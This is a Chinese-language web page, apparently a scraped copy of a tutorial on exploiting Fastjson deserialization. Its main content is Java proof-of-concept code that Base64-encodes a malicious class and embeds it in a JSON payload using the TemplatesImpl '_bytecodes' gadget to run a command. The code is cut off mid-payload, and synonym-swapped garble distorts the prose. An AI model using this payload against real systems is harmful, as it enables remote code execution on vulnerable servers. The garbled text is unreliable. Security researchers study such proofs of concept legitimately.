这个是Test.java的实现,在Test.java的构造函数中履行了一条敕令,弹出寂?骥。编译Test.java获得Test.class供后续应用。后续会将Test.class的内容赋值给_bytecodes。让我们接着分析:
- package person;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
- import com.alibaba.fastjson.parser.ParserConfig;
- import org.apache.commons.io.IOUtils;
- import org.apache.commons.codec.binary.Base64;
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.IOException;
- /**
- * Created by web on 2017/4/29.
- */
- public class P{
- public static String readClass(String cls){
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
- try {
- IOUtils.copy(new FileInputStream(new File(cls)), bos);
- } catch (IOException e) {
- e.printStackTrace();
- }
- return Base64.encodeBase64String(bos.toByteArray());
- }
- public static void test_autoTypeDeny() throws Exception {
- ParserConfig config = new ParserConfig();
- final String fileSeparator = System.getProperty("file.separator");
- final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
- String evilCode = readClass(evilClassPath);
- final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
- String text1 = "{\"@type\":\"" + NASTY_CLASS +
- "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ },"
推荐阅读
1. 记录主机信息每当您正在应用新的Linux主机进行安然加强时,您须要创建一个文档并记录本文档中列出的项目,工作完成后,您将须要检查这些项目。别的,在开端时该文档,您须要记录有关Li>>>详细阅读
地址:http://www.17bianji.com/lsqh/35009.html
1/2 1